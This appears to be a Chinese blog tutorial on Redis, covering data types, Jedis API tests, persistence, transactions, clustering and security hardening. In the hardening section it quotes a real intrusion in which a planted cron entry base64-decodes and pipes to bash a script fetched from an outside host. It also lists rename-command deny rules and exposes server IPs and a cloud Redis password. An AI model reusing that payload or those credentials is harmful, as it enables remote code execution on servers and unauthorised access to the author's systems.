127.0.0.1:6379> setbit unique:users:2022-09-13 4 1
(integer) 0
# 2022-09-12 1 1
# 2022-09-12 2 1 **
# 2022-09-12 3 1 **
# 2022-09-12 4 0
# 2022-09-13 1 0
# 2022-09-13 2 1 **
# 2022-09-13 3 1 **
# 2022-09-13 4 1
# 统计出连续两天都为1的结果(2)
127.0.0.1:6379> bitop and unique:users:and:2022-09-12and13 unique:users:2022-09-12 unique:users:2022-09-13
(integer) 1
127.0.0.1:6379> bitcount unique:users:and:2022-09-12and13
(integer) 2
# 统计出连续两天中任意一天有1的结果(4)
127.0.0.1:6379> bitop or unique:users:or:2022-09-12or13 unique:users:2022-09-12 unique:users:2022-09-13
(integer) 1
127.0.0.1:6379> bitcount unique:users:or:2022-09-12or13
(integer) 4
HyperLogLog常用于大数据量的统计,例如页面访问量统计或者用户访问量统计
Redis集成的HyperLogLog使用语法主要有pfadd和pfcount,顾名思义,一个是来添加数据,一个是来统计的。为什么用pf?是因为HyperLogLog 这个数据结构的发明人 是Philippe Flajolet教授 ,所以用发明人的英文缩写
127.0.0.1:6379> pfadd uv user1
(integer) 1
127.0.0.1:6379> keys *
1) "uv"
127.0.0.1:6379> pfcount uv
(integer) 1
127.0.0.1:6379> pfadd uv user2
(integer) 1
127.0.0.1:6379> pfadd uv user3
(integer) 1
127.0.0.1:6379> pfadd uv user4
(integer) 1
127.0.0.1:6379> pfcount uv
(integer) 4
127.0.0.1:6379> pfadd uv user5 user6 user7 user8 user9 user10
(integer) 1
127.0.0.1:6379> pfcount uv
(integer) 10
127.0.0.1:6379> pfadd page1 user1 user2 user3 user4 user5
(integer) 1
127.0.0.1:6379> pfadd page2 user1 user2 user3 user6 user7
(integer) 1
127.0.0.1:6379> pfmerge page1+page2 page1 page2
OK
127.0.0.1:6379> pfcount page1+page2
(integer) 7
HyperLogLog为什么适合做大量数据的统计
什么是基数?
比如:数据集{1, 3, 5, 7, 5, 7, 8},那么这个数据集的基数集{1, 3, 5, 7, 8},基数为5(不重复元素的个数)。基数估计就是在误差可接受的范围内,快速计算基数
Redis不仅可以通过命令行进行操作,也可以通过JavaAPI操作,通过使用Java API来对Redis数据库中的各种数据类型操作
groupId
artifactId

pom配置文件
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0modelVersion>
<groupId>cn.wangtinggroupId>
<artifactId>redis_opartifactId>
<version>1.0-SNAPSHOTversion>
<dependencies>
<dependency>
<groupId>redis.clientsgroupId>
<artifactId>jedisartifactId>
<version>2.9.0version>
dependency>
<dependency>
<groupId>junitgroupId>
<artifactId>junitartifactId>
<version>4.12version>
<scope>testscope>
dependency>
<dependency>
<groupId>org.testnggroupId>
<artifactId>testngartifactId>
<version>6.14.3version>
<scope>testscope>
dependency>
dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.pluginsgroupId>
<artifactId>maven-compiler-pluginartifactId>
<version>3.0version>
<configuration>
<source>1.8source>
<target>1.8target>
<encoding>UTF-8encoding>
configuration>
plugin>
plugins>
build>
project>
在test目录创建 cn.wangting.redis.api_test 包结构
创建RedisTest类

因为后续测试需要频繁用到Redis连接,所以先创建一个JedisPool用于获取Redis连接。此处,我们基于TestNG来测试各类的API。使用@BeforeTest在执行测试用例前,创建Redis连接池。使用@AfterTest在执行测试用例后,关闭连接池。
实现步骤:
创建JedisPoolConfig配置对象,指定最大空闲连接为10个、最大等待时间为3000毫秒、最大连接数为50、最小空闲连接5个
创建JedisPool
使用@Test注解,编写测试用例,查看Redis中所有的key
- 从Redis连接池获取Redis连接
- 调用keys方法获取所有的key
- 遍历打印所有key
RedisTest
package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Set;
public class RedisTest {
private JedisPool jedisPool;
private JedisPoolConfig config;
@BeforeTest
public void redisConnectionPool(){
config = new JedisPoolConfig();
config.setMaxIdle(10);
config.setMaxWaitMillis(3000);
config.setMaxTotal(50);
config.setMinIdle(5);
jedisPool = new JedisPool(config, "8.130.25.36", 6379);
}
// 功能测试
public static void main(String[] args) {
System.out.println("hello redis!");
}
@AfterTest
public void closePool(){
jedisPool.close();
}
}
运行调试,如已经控制台输出hello redis!则环境准备完毕
通过API操作实现如下需求:
添加一个string类型数据,key为pv,用于保存pv的值,初始值为0
查询该key对应的数据
修改pv为1000
实现整形数据原子自增操作 +1
实现整形该数据原子自增操作 +1000
当前命令行redis情况
[root@wangting ~]# redis-cli
127.0.0.1:6379> keys *
1) "a"
2) "c"
127.0.0.1:6379>
string操作代码RedisTest
package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Set;
public class RedisTest {
private JedisPool jedisPool;
private JedisPoolConfig config;
@BeforeTest
public void redisConnectionPool(){
config = new JedisPoolConfig();
config.setMaxIdle(10);
config.setMaxWaitMillis(3000);
config.setMaxTotal(50);
config.setMinIdle(5);
jedisPool = new JedisPool(config, "8.130.25.36", 6379);
}
// 功能测试
@Test
public void stringOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 添加数据
connection.set("pv", "0");
// 2. 查询数据
System.out.println("原始pv为:" + connection.get("pv"));
// 3. 修改数据
connection.set("pv", "1000");
System.out.println("修改pv为:" + connection.get("pv"));
// 4. 实现整形数据原子自增操作 +1
connection.incr("pv");
System.out.println("pv自增1:" + connection.get("pv"));
// 5. 实现整形该数据原子自增操作 +1000
connection.incrBy("pv", 1000);
System.out.println("pv自增1000:" + connection.get("pv"));
}
@AfterTest
public void closePool(){
jedisPool.close();
}
}
[注意]:为控制篇幅,后续只贴出部分@Test代码块
控制台输出:
原始pv为:0
修改pv为:1000
pv自增1:1001
pv自增1000:2001
===============================================
Default Suite
Total tests run: 1, Failures: 0, Skips: 0
===============================================
再次命令行查看redis情况
127.0.0.1:6379> keys *
1) "a"
2) "pv"
3) "c"
127.0.0.1:6379> get pv
"2001"
通过API操作实现如下需求:
往Hash结构中添加以下商品库存
获取Hash中所有的商品
新增3000个macbookpro库存
删除整个Hash的数据
命令行查看redis情况
127.0.0.1:6379> keys *
(empty array)
@Test
public void hashOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 往Hash结构中添加以下商品库存
connection.hset("goodsStore", "iphone11", "10000");
connection.hset("goodsStore", "macbookpro", "9000");
// 2. 获取Hash中所有的商品
Map<String, String> keyValues = connection.hgetAll("goodsStore");
for (String s : keyValues.keySet()) {
System.out.println(s + " => " + keyValues.get(s));
}
}
命令行查看redis情况
127.0.0.1:6379> keys *
1) "goodsStore"
127.0.0.1:6379> HGETALL goodsStore
1) "iphone11"
2) "10000"
3) "macbookpro"
4) "9000"
通过API操作实现如下需求:
向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677
从右边移除一个手机号码
获取list所有的值
命令行查看redis情况
127.0.0.1:6379> keys *
1) "goodsStore"
127.0.0.1:6379>
@Test
public void listOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677
connection.lpush("telephone", "13844556677", "13644556677", "13444556677");
// 2. 从右边移除一个手机号码
connection.rpop("telephone");
// 3. 获取list所有的值
List<String> telList = connection.lrange("telephone", 0, -1);
for (String tel : telList) {
System.out.print(tel + " ");
}
}
命令行查看redis情况
127.0.0.1:6379> keys *
1) "goodsStore"
2) "telephone"
127.0.0.1:6379> LRANGE telephone 0 -1
1) "13444556677"
2) "13644556677"
127.0.0.1:6379>
通过API操作实现如下需求:
往一个set中添加页面 page1 的uv,用户user1访问一次该页面
user2访问一次该页面
user1再次访问一次该页面
最后获取 page1的uv值
命令行查看redis情况
127.0.0.1:6379> keys *
1) "goodsStore"
2) "telephone"
127.0.0.1:6379>
@Test
public void setOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 往一个set中添加页面 page1 的uv,用户user1访问一次该页面
connection.sadd("page1", "user1");
// 2. user2访问一次该页面
connection.sadd("page1", "user2");
// 3. user1再次访问一次该页面
connection.sadd("page1", "user1");
// 4. 最后获取 page1的uv值
Long uv = connection.scard("page1");
System.out.println("page1页面的UV为:" + uv);
}
命令行查看redis情况
127.0.0.1:6379> keys *
1) "goodsStore"
2) "page1"
3) "telephone"
127.0.0.1:6379> SMEMBERS page1
1) "user2"
2) "user1"
127.0.0.1:6379>
完整代码:
package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class RedisTest {
private JedisPool jedisPool;
private JedisPoolConfig config;
@BeforeTest
public void redisConnectionPool(){
config = new JedisPoolConfig();
config.setMaxIdle(10);
config.setMaxWaitMillis(3000);
config.setMaxTotal(50);
config.setMinIdle(5);
jedisPool = new JedisPool(config, "8.130.25.36", 6379);
}
// 功能测试
@Test
public void stringOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 添加一个string类型数据,key为pv,初始值为0
connection.set("pv", "0");
// 2. 查询该key对应的数据
System.out.println("原始pv为:" + connection.get("pv"));
// 3. 修改pv为1000
connection.set("pv", "1000");
System.out.println("修改pv为:" + connection.get("pv"));
// 4. 实现整形数据原子自增操作 +1
connection.incr("pv");
System.out.println("pv自增1:" + connection.get("pv"));
// 5. 实现整形该数据原子自增操作 +1000
connection.incrBy("pv", 1000);
System.out.println("pv自增1000:" + connection.get("pv"));
}
@Test
public void hashOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 往Hash结构中添加以下商品库存
connection.hset("goodsStore", "iphone11", "10000");
connection.hset("goodsStore", "macbookpro", "9000");
// 2. 获取Hash中所有的商品
Map<String, String> keyValues = connection.hgetAll("goodsStore");
for (String s : keyValues.keySet()) {
System.out.println(s + " => " + keyValues.get(s));
}
}
@Test
public void listOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677
connection.lpush("telephone", "13844556677", "13644556677", "13444556677");
// 2. 从右边移除一个手机号码
connection.rpop("telephone");
// 3. 获取list所有的值
List<String> telList = connection.lrange("telephone", 0, -1);
for (String tel : telList) {
System.out.print(tel + " ");
}
}
@Test
public void setOpTest() {
Jedis connection = jedisPool.getResource();
// 1. 往一个set中添加页面 page1 的uv,用户user1访问一次该页面
connection.sadd("page1", "user1");
// 2. user2访问一次该页面
connection.sadd("page1", "user2");
// 3. user1再次访问一次该页面
connection.sadd("page1", "user1");
// 4. 最后获取 page1的uv值
Long uv = connection.scard("page1");
System.out.println("page1页面的UV为:" + uv);
}
@AfterTest
public void closePool(){
jedisPool.close();
}
}
Redis会定期保存数据快照至一个rbd文件中,并在启动时自动加载rdb文件,恢复之前保存的数据。可以在配置文件中配置Redis进行快照保存的时机:

# save [seconds] [changes]
# 意为在seconds秒内如果发生了changes次数据修改,则进行一次RDB快照保存
save 60 100
# 会让Redis每60秒检查一次数据变更情况,如果发生了100次或以上的数据变更,则进行RDB快照保存
可以配置多条save指令,让Redis执行多级的快照保存策略
Redis默认开启RDB快照
也可以通过SAVE或者BGSAVE命令手动触发RDB快照保存
SAVE 和 BGSAVE 两个命令都会调用 rdbSave 函数,但它们调用的方式各有不同
- SAVE 直接调用 rdbSave ,阻塞 Redis 主进程,直到保存完成为止。在主进程阻塞期间,服务器不能处理客户端的任何请求
- BGSAVE 则 fork 出一个子进程,子进程负责调用 rdbSave ,并在保存完成之后向主进程发送信号,通知保存已完成。 Redis 服务器在BGSAVE 执行期间仍然可以继续处理客户端的请求
对性能影响最小,Redis在保存RDB快照时会fork出子进程进行,几乎不影响Redis处理客户端请求的效率。
每次快照会生成一个完整的数据快照文件,所以可以辅以其他手段保存多个时间点的快照(例如把每天0点的快照备份至其他存储媒介中),作为非常可靠的灾难恢复手段。
使用RDB文件进行数据恢复比使用AOF要快很多
快照是定期生成的,所以在Redis crash时或多或少会丢失一部分数据
如果数据集非常大且CPU不够强(比如单核CPU),Redis在fork子进程时可能会消耗相对较长的时间,影响Redis对外提供服务的能力
查看redis的配置文件redis.conf
[root@wangting redis]# vim redis.conf
dir /var/lib/redis
save 900 1
save 300 10
save 60 10000
可以看到redis配置文件默认配置了三个存储机制
备份文件:
[root@wangting redis]# ll /root/redis/data/
total 4
-rw-r--r-- 1 redis redis 215 Sep 13 14:41 dump.rdb
采用AOF持久方式时,Redis会把每一个写请求都记录在一个日志文件里。在Redis重启时,会把AOF文件中记录的所有写操作顺序执行一遍,确保数据恢复到最新

最安全,在启用appendfsync为always时,任何已写入的数据都不会丢失,使用在启用appendfsync everysec也至多只会丢失1秒的数据
AOF文件在发生断电等问题时也不会损坏,即使出现了某条日志只写入了一半的情况,也可以使用redis-check-aof工具轻松修复
AOF文件易读,可修改,在进行某些错误的数据清除操作后,只要AOF文件没有rewrite,就可以把AOF文件备份出来,把错误的命令删除,然后恢复数据。
AOF文件通常比RDB文件更大
性能消耗比RDB高
数据恢复速度比RDB慢
Redis的数据持久化工作本身就会带来延迟,需要根据数据的安全级别和性能要求制定合理的持久化策略:
AOF + fsync always的设置虽然能够绝对确保数据安全,但每个操作都会触发一次fsync,会对Redis的性能有比较明显的影响
AOF + fsync every second是比较好的折中方案,每秒fsync一次
AOF + fsync never会提供AOF持久化方案下的最优性能
使用RDB持久化通常会提供比使用AOF更高的性能,但需要注意RDB的策略配置
redis默认开启了RDB,但AOF默认是关闭的,如要自行开启功能,配置文件进行如下配置:
appendonly yes
appendfilename "appendonly.aof"
appendfsync everysec
AOF提供了三种fsync配置:always/everysec/no,通过配置项[appendfsync]指定:
appendfsync no:不进行fsync,将flush文件的时机交给OS决定,速度最快
appendfsync always:每写入一条日志就进行一次fsync操作,数据安全性最高,但速度最慢
appendfsync everysec:折中的做法,交由后台线程每秒fsync一次
配置完后重新启动redis
[root@wangting redis]# redis-cli
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> set k3 v3
OK
127.0.0.1:6379> exit
查看appendonly.aof文件
[root@wangting redis]# ll /root/redis/data
total 8
-rw-r--r-- 1 redis redis 110 Sep 13 15:40 appendonly.aof
-rw-r--r-- 1 redis redis 118 Sep 13 15:40 dump.rdb
[root@wangting redis]# cat appendonly.aof
*2
$6
SELECT
$1
0
*3
$3
set
$2
k1
$2
v1
*3
$3
set
$2
k2
$2
v2
*3
$3
set
$2
k3
$2
v3
不同于dump.rdb文件,appendonly.aof可以直接查看文件内容
随着AOF不断地记录写操作日志,因为所有的写操作都会记录,所以必定会出现一些无用的日志。大量无用的日志会让AOF文件过大,也会让数据恢复的时间过长。不过Redis提供了AOF rewrite功能,可以重写AOF文件,只保留能够把数据恢复到最新状态的最小写操作集
AOF rewrite可以通过BGREWRITEAOF命令触发,也可以配置Redis定期自动进行:
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
Redis在每次AOF rewrite时,会记录完成rewrite后的AOF日志大小,当AOF日志大小在该基础上增长了100%后,自动进行AOF rewrite
auto-aof-rewrite-min-size最开始的AOF文件必须要触发这个文件才触发,后面的每次重写就不会根据这个变量了。该变量仅初始化启动Redis有效。
每一次RDB快照和AOF Rewrite都需要Redis主进程进行fork操作。fork操作本身可能会产生较高的耗时,与CPU和Redis占用的内存大小有关。根据具体的情况合理配置RDB快照和AOF Rewrite时机,避免过于频繁的fork带来的延迟。
Redis在fork子进程时需要将内存分页表拷贝至子进程,以占用了24GB内存的Redis实例为例,共需要拷贝48MB的数据。
Redis 事务的本质是一组命令的集合。事务支持一次执行多个命令,一个事务中所有命令都会被序列化。在事务执行过程,会按照顺序串行化执行队列中的命令,其他客户端提交的命令请求不会插入到事务执行命令序列中。
Redis事务就是一次性、顺序性、排他性的执行一个队列中的一系列命令
一个事务从开始到执行会经历以下三个阶段:
第一阶段:开始事务
第二阶段:命令入队
第三阶段、执行事务

Redis事务相关命令:
- MULTI
开启事务,redis会将后续的命令逐个放入队列中,然后使用EXEC命令来原子化执行这个命令队列
- EXEC
执行事务中的所有操作命令
- DISCARD
取消事务,放弃执行事务块中的所有命令
- WATCH
监视一个或多个key,如果事务在执行前,这个key(或多个key)被其他命令修改,则事务被中断,不会执行事务中的任何命令
- UNWATCH
取消WATCH对所有key的监视
# MULTI开始一个事务:给k1、k2分别赋值,在事务中修改k1、k2,执行事务后,查看k1、k2值都被修改
127.0.0.1:6379> FLUSHALL
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 11
QUEUED
127.0.0.1:6379(TX)> set k2 22
QUEUED
127.0.0.1:6379(TX)> exec
1) OK
2) OK
127.0.0.1:6379> get k1
"11"
127.0.0.1:6379> get k2
"22"
127.0.0.1:6379>
# 事务失败处理:语法错误(编译器错误),在开启事务后,修改k1值为11,k2值为22,但k2语法错误,最终导致事务提交失败,k1、k2保留原值
127.0.0.1:6379> FLUSHDB
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 111
QUEUED
127.0.0.1:6379(TX)> settt k2 222
(error) ERR unknown command `settt`, with args beginning with: `k2`, `222`,
127.0.0.1:6379(TX)> exec
(error) EXECABORT Transaction discarded because of previous errors.
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> get k2
"v2"
127.0.0.1:6379>
可以看到结果为开启事务后,有语法错误,命令不存在报错,则最后k1,k2修改数据的事务操作失败,k1与k2均为原来的值。命令入QUEUED队列前就已经进行检测。
127.0.0.1:6379> flushdb
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 v111
QUEUED
127.0.0.1:6379(TX)> lpush k2 v222
QUEUED
127.0.0.1:6379(TX)> exec
1) OK
2) (error) WRONGTYPE Operation against a key holding the wrong kind of value
127.0.0.1:6379> get k1
"v111"
127.0.0.1:6379> get k2
"v2"
Redis类型错误(运行时错误),在开启事务后,修改k1值为11,k2值为22,但将k2的类型作为List,在运行时检测类型错误,最终导致事务提交失败,此时事务并没有回滚,而是跳过错误命令继续执行, 结果k1值改变、k2保留原值
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 v1
QUEUED
127.0.0.1:6379(TX)> set k2 v2
QUEUED
127.0.0.1:6379(TX)> set k3 v3
QUEUED
127.0.0.1:6379(TX)> discard
OK
127.0.0.1:6379> get k1
(nil)
127.0.0.1:6379> keys *
(empty array)
多数事务失败是由语法错误或者数据结构类型错误导致的,语法错误说明在命令入队前就进行检测的,而类型错误是在执行时检测的,Redis为提升性能而采用这种简单的事务,这是不同于关系型数据库的,特别要注意区分。Redis之所以保持这样简易的事务,完全是为了保证高并发下的核心问题——性能。
Redis是key-value数据库,可以设置Redis中缓存的key的过期时间。Redis的过期策略就是指当Redis中缓存的key过期了,Redis如何处理。
过期策略通常有以下三种:
Redis的内存淘汰策略是指在Redis的用于缓存的内存不足时,怎么处理需要新写入且需要申请额外空间的数据
实际项目中设置内存淘汰策略:maxmemory-policy allkeys-lru,移除最近最少使用的key
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点
从节点也是可以对外提供服务的,主节点是有数据的,从节点可以通过复制操作将主节点的数据同步过来,并且随着主节点数据不断写入,从节点数据也会做同步的更新
除了一主一从模型之外,Redis还提供了一主多从的模型,也就是一个master可以有多个slave,也就相当于有了多份的数据副本

安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953
Sentinel(哨兵)是Redis的高可用性解决方案:由一个或多个Sentinel实例 组成的Sentinel系统可以监视任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进入下线状态时,自动将下线主服务器属下的某个从服务器升级为新的主服务器

安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953
代码块
package cn.itcast.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPoolConfig;
import redis.clients.jedis.JedisSentinelPool;
import java.util.HashSet;
import java.util.Set;
public class ReidsSentinelTest {
private JedisSentinelPool jedisSentinelPool;
@BeforeTest
public void beforeTest() {
// JedisPoolConfig配置对象
JedisPoolConfig config = new JedisPoolConfig();
// 指定最大空闲连接为10个
config.setMaxIdle(10);
// 最小空闲连接5个
config.setMinIdle(5);
// 最大等待时间为3000毫秒
config.setMaxWaitMillis(3000);
// 最大连接数为50
config.setMaxTotal(50);
HashSet<String> sentinelSet = new HashSet<>();
sentinelSet.add("8.130.25.36:26379");
sentinelSet.add("8.130.48.66:26379");
sentinelSet.add("8.130.26.68:26379");
jedisSentinelPool = new JedisSentinelPool("mymaster", sentinelSet, config);
}
@Test
public void keysTest() {
// 1. 要操作Redis,肯定要获取Redis连接。现在通过哨兵连接池来获取连接
Jedis jedis = jedisSentinelPool.getResource();
// 2. 执行keys操作
Set<String> keySet = jedis.keys("*");
// 3. 遍历所有key
for (String key : keySet) {
System.out.println(key);
}
// 4. 再将连接返回到连接池
jedis.close();
}
@AfterTest
public void afterTest() {
jedisSentinelPool.close();
}
}
Redis最开始使用主从模式做集群,若master宕机需要手动配置slave转为master;后来为了高可用提出来哨兵模式,哨兵模式下有一个哨兵监视master和slave,若master宕机可自动将slave转为master,但它也有一个问题,就是不能动态扩充;所以在Redis 3.x提出cluster集群模式。
Redis Cluster是分布式架构,有多个节点,每个节点都负责进行数据读写操作,每个节点之间会进行通信。Redis Cluster采用无中心结构,每个节点保存数据和整个集群状态,每个节点都和其他所有节点连接
特点:
对Redis 内存数据库来说:全量数据,单机Redis节点无法满足要求,按照分区规则把数据分到若干个子集当中


安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953
package cn.itcast.redis.api_test;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.HostAndPort;
import redis.clients.jedis.JedisCluster;
import redis.clients.jedis.JedisPoolConfig;
import java.io.IOException;
import java.util.HashSet;
public class RedisClusterTest {
private JedisCluster jedisCluster;
@BeforeTest
public void beforeTest() {
HashSet<HostAndPort> hostAndPortSet = new HashSet<>();
hostAndPortSet.add(new HostAndPort("8.130.25.36", 6379));
hostAndPortSet.add(new HostAndPort("8.130.48.66", 6379));
hostAndPortSet.add(new HostAndPort("8.130.26.68", 6379));
hostAndPortSet.add(new HostAndPort("8.130.48.74", 6379));
hostAndPortSet.add(new HostAndPort("8.130.29.79", 6379));
hostAndPortSet.add(new HostAndPort("8.130.49.100", 6379));
// JedisPoolConfig配置对象
JedisPoolConfig config = new JedisPoolConfig();
// 指定最大空闲连接为10个
config.setMaxIdle(10);
// 最小空闲连接5个
config.setMinIdle(5);
// 最大等待时间为3000毫秒
config.setMaxWaitMillis(3000);
// 最大连接数为50
config.setMaxTotal(50);
jedisCluster = new JedisCluster(hostAndPortSet, config);
}
@Test
public void setTest() {
jedisCluster.set("k2", "v2");
System.out.println(jedisCluster.get("k2"));
}
@AfterTest
public void afterTest() throws IOException {
jedisCluster.close();
}
}
redis在redis.conf配置文件中,设置配置项requirepass, 开户密码认证
打开redis.conf,找到requirepass所在的地方,修改为指定的密码,密码应符合复杂性要求:
1、长度8位以上
2、包含以下四类字符中的三类字符:
英文大写字母(A 到 Z)
英文小写字母(a 到 z)
10 个基本数字(0 到 9)
非字母字符(例如 !、$、#、%、@、^、&)
3、避免使用已公开的弱密码,如:abcd.1234 、admin@123等
再去掉前面的#号注释符,然后重启redis
Redis监听在0.0.0.0,可能导致服务对外或内网横向移动渗透风险,极易被黑客利用入侵
在redis的配置文件redis.conf中配置如下:
bind 127.0.0.1或者内网IP,然后重启redis1
以下纪录为1次黑客攻击:
127.0.0.1:6379> keys backup*
1) "backup1"
2) "backup4"
3) "backup3"
4) "backup2"
127.0.0.1:6379>
127.0.0.1:6379>
127.0.0.1:6379>
127.0.0.1:6379>
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"
127.0.0.1:6379> FLUSHALL
(error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the das configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for
发现多了一些并非自己写入的键值对,内容偏向于代码脚本注入,同时收到阿里云警告:
【阿里云】尊敬的399869995@qq.com:云盾云安全中心检测到您的服务器:39.101.78.174(redis01)出现了紧急安全事件:恶意脚本代码执行,建议您立即登录云安全中心控制台-安全告警处理http://a.aliyun.com/f1.I5aW1 进行处理。
一般通过报错,根据百度去搜索解决办法时,会放开权限写入等配置,最后黑客写入的键值内容注入则成功写入到服务器。所以当有公网IP时,监听在0.0.0.0同时没有用户验证时十分危险。
使用root权限去运行网络服务是比较有风险的(nginx和apache都是有独立的work用户,而redis没有)。redis crackit 漏洞就是利用root用户的权限来替换或者增加authorized_keys,来获取root登录权限的
使用root切换到redis用户启动服务:
useradd -s /sbin/nolog -M redis
sudo -u redis //redis-server //redis.conf
因为redis密码明文存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,设置redis配置文件权限为600
chmod 600 //redis.conf
避免使用熟知的端口,降低被初级扫描的风险
编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis
redis默认开启保护模式。要是配置里没有指定bind和密码,开启该参数后,redis只能本地访问,拒绝外部访问
打开保护模式 protected-mode yes
例如FLUSHALL删除所有数据,当数据量非常大线上使用keys *命令,也是非常危险的。因此线上的Redis必须考虑禁用一些危险的命令,或者尽量避免谁都可以使用这些命令,Redis没有完整的管理系统,但是也提供了一些方案
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command FLUSHDB “”
rename-command CONFIG “”
rename-command KEYS “”
rename-command SHUTDOWN “”
rename-command DEL “”
rename-command EVAL “”
然后重启redis。
重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如:
rename-command FLUSHALL joYAPNXRPmcarcR4ZDgC
云数据库Redis版(ApsaraDB for Redis)是兼容开源Redis协议标准、提供混合存储的数据库服务,基于双机热备架构及集群架构,可满足高吞吐、低延迟及弹性变配等业务需求
通过阿里云产品搜索redis,选择适合配置后申请

购买完成后,在云数据库Redis版控制台可以看到实例信息

从管理页面可以看到功能非常丰富,支持页面配置网络白名单、参数调整、性能监视、账号管控等等非常多的功能

在实例信息中,可以查询到redis连接信息,其中分内网和外网访问
找到连接信息后,测试连接
[root@wangting ~]# redis-cli -h r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com -p 6379
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
(error) NOAUTH Authentication required.
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> auth r0uf24af1ijuio7q0pvi Wt@123456
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
(empty array)
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> set k1 v1
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> set k2 v2
OK
云数据库Redis也配备了在线页面管理功能,在页面中找到连接数据库

登录后基本可以完成redis的所有需求操作

通过界面尝试写入一个键值对

回到命令行查看
r0uf24af1ijuio7q0pvir0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
1) "k3"
2) "k1"
3) "k2"
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get k3
"\xe6\x9d\x8e\xe6\x98\x93\xe5\xb3\xb0\xe5\xab\x96\xe5\xa8\xbc\xe8\xa2\xab\xe6\x8a\x93\xe4\xba\x86\xef\xbc\x81"
# redis中文没有在控制台显示,因为启动redis时没有加--raw参数
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> exit
[root@wangting ~]# redis-cli -h r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com -p 6379 --raw
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get k3
NOAUTH Authentication required.
# 提示没有通过认证,重新auth认证操作
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> auth r0uf24af1ijuio7q0pvi Wt@123456
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get k3
李易峰嫖娼被抓了!
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379>
可以成功查询到页面键入的键值对